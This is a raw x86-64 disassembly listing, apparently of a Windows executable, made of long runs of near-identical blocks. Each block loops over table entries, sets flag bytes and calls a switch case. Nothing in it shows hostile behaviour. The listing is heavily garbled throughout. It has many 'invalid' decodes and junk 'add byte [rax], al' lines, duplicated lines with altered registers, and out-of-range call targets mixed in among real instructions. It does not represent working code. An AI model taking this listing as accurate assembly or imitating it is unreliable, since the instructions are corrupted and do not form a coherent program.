call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x1401863e6
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xa88]
lea rbx, [0x14025f0d0]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x20
je 0x14018709c
cmp al, 0xc
add byte [rax], al
cmp al, 0xc
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1150], 1
mov byte [rbp + 0x1150], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1150], 0
mov rcx, r15
mov rdx, r14
bnd call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186456
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x8c0]
ror byte [rax], 0
add byte [rax - 0x73], cl
sbb eax, 0xd9009
invalid
nop
invalid
invalid
or dword [rax - 0x72b3fff3], edx
mov ebp, 0x1040
add byte [rax], al
lea r15, [rbp + 0x1040]
add byte [rax], al
cmp rdi, 0x20
je 0x140186ff8
sub byte [rbx], cl
add byte [rax], al
sub byte [rbx], cl
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x113d], 1
mov byte [rbp + 0x113d], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x113d], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x1401864c6
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xad0]
ror byte [rdx], 1
add byte [rax], al
lea rbx, [0x14025f068]
lea r15, [rbp + 0x1040]
add byte [rax], al
cmp dword [rbx - 0x72b3fff3], ecx
mov ebp, 0x1040
add byte [rax], al
add byte [rax], al
cmp rdi, 0x20
je 0x1401871ab
imul ecx, dword [rax + rax], 0
imul ecx, dword [rax + rax], 0
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1153], 1
mov byte [rbp + 0x1153], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1153], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186536
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xb78]
js 0x1401865a1
add byte [rax], al
lea rbx, [0x14025ef30]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x20
je 0x140186ff8
or al, byte [rax]
invalid
or al, byte [rax]
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x115a], 1
mov byte [rbp + 0x115a], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
int1
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x115a], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
invalid
cmp dword [rax], eax
invalid
bnd call case.0x14018611a.38
add eax, 0xeb000039
mov edx, 0x118f85c6
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
jmp 0x1401865a6
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xab8]
mov eax, 0x4800000a
lea ebx, [0x14025f090]
lea r15, [rbp + 0x1040]
add byte [rax], al
cmp rdi, 0x20
je 0x14018709c
jl 0x140186628
add byte [rax], al
jl 0x140186628
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1152], 1
mov byte [rbp + 0x1152], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1152], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186616
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xb00]
lea rbx, [0x14025f018]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x20
je 0x1401871ab
sbb ecx, dword [rbx]
add byte [rax], al
sbb ecx, dword [rbx]
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1155], 1
mov byte [rbp + 0x1155], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1155], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186686
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x980]
lea rbx, [0x14025f338]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x30
je 0x14018724e
or r8, qword [rax]
invalid
or r8, qword [rax]
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1145], 1
mov byte [rbp + 0x1145], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1145], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x1401866f6
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x998]
cwde
or dword [rax], eax
add byte [rax - 0x73], cl
sbb eax, 0xd8ba9
lea r15, [rbp + 0x1040]
add byte [rax], al
cmp rdi, 0x30
je 0x1401871ab
cmp ecx, dword [rdx]
add byte [rax], al
cmp ecx, dword [rdx]
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1146], 1
mov byte [rbp + 0x1146], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1146], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186766
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xbc0]
lea rbx, [0x14025eef8]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x10
je 0x14018724e
outsb dx, byte [rsi]
or al, byte [rax]
invalid
outsb dx, byte [rsi]
or al, byte [rax]
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x115c], 1
mov byte [rbp + 0x115c], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x115c], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x1401867d6
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xa70]
jo 0x140186840
add byte [rax], al
lea rbx, [0x14025f0f8]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x20
je 0x140186ff8
test al, 7
add byte [rax], al
test al, 7
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x114f], 1
mov byte [rbp + 0x114f], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x114f], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186846
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xb90]
nop
or eax, dword [rax]
add byte [rax - 0x73], cl
sbb eax, 0xd8661
lea r15, [rbp + 0x1040]
add byte [rax], al
cmp rdi, 0x20
je 0x14018709c
fadd qword [rdi]
add byte [rax], al
fadd qword [rdi]
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x115b], 1
mov byte [rbp + 0x115b], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x115b], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x1401868b6
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xb30]
xor byte [rbx], cl
add byte [rax], al
lea rbx, [0x14025efb0]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x30
je 0x140186ff8
enter 6, 0
enter 6, 0
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1157], 1
mov byte [rbp + 0x1157], 1
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1157], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186926
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xba8]
lea rbx, [0x14025eee0]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x10
je 0x140186ff8
pop rax
invalid
add byte [rax], al
pop rax
invalid
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x115d], 1
mov byte [rbp + 0x115d], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x115d], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186996
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x8f0]
lea rbx, [0x14025f460]
xor al, 0
add byte [rcx], dh
dec dword [rbp + rcx*4 - 0x4b]
lock or byte [rax], al
add byte [rax - 0x73], cl
sbb eax, 0xd8a61
lea r15, [rbp + 0x1040]
add byte [rax], al
cmp rdi, 0x30
je 0x14018709c
mov word [rsi], es
add byte [rax], al
mov word [rsi], es
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x113f], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x113f], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186a06
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
add byte [rax], al
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xa40]
lea rbx, [0x14025f158]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x40
je 0x14018709c
sbb al, 6
add byte [rax], al
sbb al, 6
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
invalid
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x114d], 1
mov rcx, r14
call fcn.14017e3df
invalid
add rdi, 0x10
mov byte [rbp + 0x114d], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186a76
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x9f8]
clc
or dword [rax], eax
invalid
lea rbx, [0x14025f208]
lea r15, [rbp + 0x1040]
add byte [rax], al
cmp rdi, 0x40
je 0x140186ff8
invalid
invalid
add byte [rax], al
inc dword [rax + 0xf]
test byte [rax], cl
or byte [0xc9646af2], al
or byte [0xc9646af2], al
mov rcx, r14
int1
call fcn.140189ead
mov rdx, qword [rdi + rbx]
invalid
add byte [rax - 0x75], cl
adc al, 0x1f
invalid
invalid
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x114a], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x114a], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186ae6
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xb60]
lea rbx, [0x14025ef58]
lea r15, [rbp + 0x1040]
add byte [rax], al
add byte [rax], al
cmp rdi, 0x20
je 0x14018709c
cmp al, 5
add byte [rax], al
cmp al, 5
add byte [rax], al
mov rcx, r14
call fcn.140189ead
add byte [rax - 0x75], cl
adc al, 0x1f
add byte [rax - 0x75], cl
adc al, 0x1f
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1159], 1
pop rcx
adc dword [rax], eax
add byte [rcx], al
pop rcx
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1159], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
adc dh, al
test dword [rcx + 0x11], ebx
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
xor eax, dword [rax]
invalid
bnd call case.0x14018611a.38
jmp 0x140186b56
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
invalid
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x9e0]
loopne 0x140186bbf
add byte [rax], al
lea rbx, [0x14025f248]
lea r15, [rbp + 0x1040]
adc byte [rax], al
add byte [rax - 0x7d], cl
inc dword [rax + 0xf]
test ah, cl
int3
add al, 0
add byte [rcx + rcx*4 - 0xf], cl
add byte [rax], al
cmp rdi, 0x40
je 0x14018709c
int3
add al, 0
invalid
int3
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1149], 1
adc qword [r8], rax
add byte [rcx], al
adc qword [r8], rax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1149], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
adc dh, al
test dword [rcx + 0x11], ecx
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
xor al, byte [rax]
invalid
bnd call case.0x14018611a.38
jmp 0x140186bc6
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xaa0]
movabs al, byte [0x84811d8d4800000a]
or eax, 0xbd8d4c00
adc byte [rax], al
invalid
adc byte [rax], al
add byte [rax - 0x7d], cl
jmp qword [rax]
cmp rdi, 0x20
je 0x140186ff8
invalid
add eax, dword [rax]
invalid
mov eax, 0x4c000003
mov ecx, esi
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1151], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1151], 0
mov rcx, r15
mov rdx, r14
call case.0x14018611a.38
bnd call case.0x14018611a.38
jmp 0x140186c36
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xb48]
lea rbx, [0x14025ef80]
sbb eax, 0xd82e1
sbb eax, 0xd82e1
lea r15, [rbp + 0x1040]
cmp rdi, 0x30
je 0x14018709c
in al, dx
add eax, dword [rax]
invalid
in al, dx
add eax, dword [rax]
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1158], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1158], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
invalid
mov rdx, r14
call case.0x14018611a.38
jmp 0x140186ca6
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xa28]
sub byte [rdx], cl
add byte [rax], al
invalid
add byte [rax - 0x73], cl
sbb eax, 0xd8489
lea rbx, [0x14025f198]
lea r15, [rbp + 0x1040]
cmp rdi, 0x40
je 0x140186ff8
fadd dword [rdx]
add byte [rax], al
inc dword [rax + 0xf]
test al, bl
fadd dword [rdx]
add byte [rax], al
mov rcx, r14
fadd dword [rdx]
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x114c], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x114c], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
jmp 0x140186d16
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xae8]
call 0x188186d83
lea ebx, [0x14025f038]
add byte [rax - 0x73], cl
sbb eax, 0xd82b9
lea r15, [rbp + 0x1040]
cmp rdi, 0x20
je 0x14018724e
invalid
add al, 0
invalid
mov esi, 0x4c000004
mov ecx, esi
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1154], 1
push rsp
adc dword [rax], eax
add byte [rcx], al
push rsp
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
adc dh, al
test dword [rcx + rdx], edx
add byte [rax], al
invalid
adc dh, al
test dword [rcx + rdx], edx
add byte [rax], al
invalid
mov rcx, r15
mov rdx, r14
call case.0x14018611a.38
jmp 0x140186d86
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xb18]
lea rbx, [0x14025efe0]
lea r15, [rbp + 0x1040]
cmp rdi, 0x30
je 0x14018709c
pushfq
add al, byte [rax]
invalid
pushfq
add al, byte [rax]
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1156], 1
push rsi
adc dword [rax], eax
add byte [rcx], al
push rsi
adc dword [rax], eax
add byte [rcx], al
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
adc dh, al
test dword [rsi + 0x11], edx
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
adc dh, al
test dword [rsi + 0x11], edx
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
jmp 0x140186df6
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x908]
lea rbx, [0x14025f430]
lea r15, [rbp + 0x1040]
cmp rdi, 0x30
je 0x1401871ab
cmp eax, dword [rbx]
add byte [rax], al
cmp eax, dword [rbx]
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1140], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1140], 0
mov rcx, r15
mov rdx, r14
call case.0x14018611a.38
jmp 0x140186e66
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x8d8]
lea rbx, [0x14025f498]
sbb eax, 0xd85c9
sbb eax, 0xd85c9
lea r15, [rbp + 0x1040]
cmp rdi, 0x30
je 0x140186ff8
sbb byte [rcx], al
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x113e], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x113e], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call case.0x14018611a.38
jmp 0x140186ed6
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x9c8]
lea rbx, [0x14025f290]
lea r15, [rbp + 0x1040]
cmp rdi, 0x30
je 0x14018709c
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1148], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1148], 0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov ecx, edi
mov ecx, edi
mov rdx, r14
call case.0x14018611a.38
jmp 0x140186f46
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0xa10]
lea rbx, [0x14025f1d8]
lea r15, [rbp + 0x1040]
cmp rdi, 0x30
je 0x140186ff8
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x114b], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x114b], 0
mov rcx, r15
mov rdx, r14
call case.0x14018611a.38
jmp 0x140186fb6
mov rax, qword [rbp + 0x1050]
mov qword [rbp + 0xe80], rax
movups xmm0, xmmword [rbp + 0x1040]
movups xmmword [rbp + 0xe70], xmm0
mov qword [rbp + 0xe50], 1
push 1
pop rdx
lea rax, [0x14025e420]
xor ecx, ecx
jmp 0x14018727e
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x9b0]
lea rbx, [0x14025f2c8]
lea r15, [rbp + 0x1040]
cmp rdi, 0x40
je 0x14018709c
mov rcx, r14
call fcn.140189ead
add byte [rax - 0x75], cl
adc al, 0x1f
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1147], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1147], 0
mov rcx, r15
mov rdx, r14
call case.0x14018611a.38
jmp 0x14018705a
mov rax, qword [rbp + 0x1050]
mov qword [rbp + 0xe80], rax
movups xmm0, xmmword [rbp + 0x1040]
movups xmmword [rbp + 0xe70], xmm0
mov qword [rbp + 0xe50], 1
add dword [rax], eax
add byte [rax], al
push 1
pop rax
xor ecx, ecx
xor edx, edx
jmp 0x14018727e
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
lea ecx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x938]
lea rbx, [0x14025f3c0]
lea r15, [rbp + 0x1040]
cmp rdi, 0x30
je 0x1401871ab
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1142], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1142], 0
add byte [rax], al
invalid
mov rcx, r15
mov rdx, r14
call case.0x14018611a.38
jmp 0x1401870f9
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x920]
lea rbx, [0x14025f3f8]
lea r15, [rbp + 0x1040]
cmp rdi, 0x30
je 0x1401871ab
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
invalid
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1141], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1141], 0
mov rcx, r15
mov rdx, r14
call case.0x14018611a.38
jmp 0x140187169
mov rax, qword [rbp + 0x1050]
mov qword [rbp + 0xe80], rax
movups xmm0, xmmword [rbp + 0x1040]
movups xmmword [rbp + 0xe70], xmm0
lea rax, [0x14025e420]
mov qword [rbp + 0xe50], rax
invalid
add byte [rax], al
push 1
pop rcx
xor edx, edx
mov rax, rcx
jmp 0x14018727e
mov byte [rbp + 0x118f], 1
lea rcx, [rbp + 0x1040]
call fcn.140189e6b
xor edi, edi
lea r14, [rbp + 0x968]
lea rbx, [0x14025f370]
lea r15, [rbp + 0x1040]
cmp rdi, 0x20
je 0x14018724e
mov rcx, r14
call fcn.140189ead
mov rdx, qword [rdi + rbx]
mov rax, qword [rdi + rbx + 8]
lea r8, [rdx + rax*2]
mov byte [rbp + 0x1144], 1
mov rcx, r14
call fcn.14017e3df
add rdi, 0x10
mov byte [rbp + 0x1144], 0
mov rcx, r15
mov rdx, r14
call case.0x14018611a.38
jmp 0x14018720c
mov rax, qword [rbp + 0x1050]
mov qword [rbp + 0xe80], rax
movups xmm0, xmmword [rbp + 0x1040]
movups xmmword [rbp + 0xe70], xmm0
lea rax, [0x14025e420]
mov qword [rbp + 0xe50], rax
push 1
pop rcx
mov rdx, rcx
mov qword [rbp + 0xe58], rcx
mov qword [rbp + 0xe60], rax
mov qword [rbp + 0xe68], rdx
mov r12, qword [rbp + 0xd90]
mov rbx, qword [rbp + 0xd98]
add rbx, rbx
test rbx, rbx
je 0x140187356
cmp byte [r12], 0
jne 0x1401874ad
movzx r13d, byte [r12 + 1]
mov rax, r13
sub rax, 1
mov ecx, 0
cmovb rax, rcx
cmp rax, qword [rbp + 0xe80]
jae 0x1401874b2
imul r14, rax, 0x18
add r14, qword [rbp + 0xe78]
test r13b, r13b
je 0x14018730a
mov rdi, qword [r14 + 0x10]
cmp rdi, qword [r14]
jne 0x1401872fc
mov rcx, r14
call fcn.1401803c0
lea r15, [rdi + rdi]
add r15, qword [r14 + 8]
add r14, 0x10
jmp 0x14018733b
